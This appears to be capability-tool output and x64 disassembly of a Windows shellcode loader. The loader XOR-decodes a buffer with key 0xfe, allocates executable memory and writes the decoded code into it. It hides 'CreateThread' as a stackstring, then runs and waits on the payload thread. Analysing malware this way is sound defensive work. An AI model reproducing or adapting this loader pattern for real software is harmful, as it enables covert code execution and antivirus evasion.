Function at 0x140004014
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rbx, rcx
mov ecx, 2
call fcn.140006edc
test eax, eax
je 0x14000418b
mov rdx, rbx
lea rcx, [rbp + 0x2f]
call fcn.140005d00
nop
mov rdx, rax
lea rcx, [rbp + 0xf]
call fcn.140006cf0
nop
lea rcx, [rbp + 0x2f]
call fcn.1400037b8
lea rcx, [rbp + 0xf]
call fcn.1400053b4
mov rbx, rax
lea rcx, [rbp + 0xf]
call fcn.140006700
mov qword [rbp + 0x77], rax
xor ecx, ecx
lea rax, str.8080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080808080909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
xor byte [rcx + rax], 0xfe
inc rcx
cmp rcx, 0x1191
jb 0x14000407e
call fcn.140006538
and qword [rbp + 0x6f], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0x77]
xor r8d, r8d
lea rdx, [rbp + 0x6f]
call fcn.1400075f0
call fcn.140006538
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
and qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x77]
mov r8, rbx
mov rdx, qword [rbp + 0x6f]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp - 0x19], 0x61657243
mov dword [rbp - 0x15], 0x68546574
mov dword [rbp - 0x11], 0x64616572
mov byte [rbp - 0xd], 0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call fcn.140006538
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x6f]
xor edx, edx
xor ecx, ecx
call rbx
mov rdi, rax
movdqa xmm0, xmmword [str.WaitForSingleObjbad_allocation]
movdqu xmmword [rbp - 9], xmm0
mov dword [rbp + 7], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rbp - 9]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call fcn.140006538
or edx, 0xffffffff
mov rcx, rdi
call rbx
nop
lea rcx, [rbp + 0xf]
call fcn.1400037b8
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret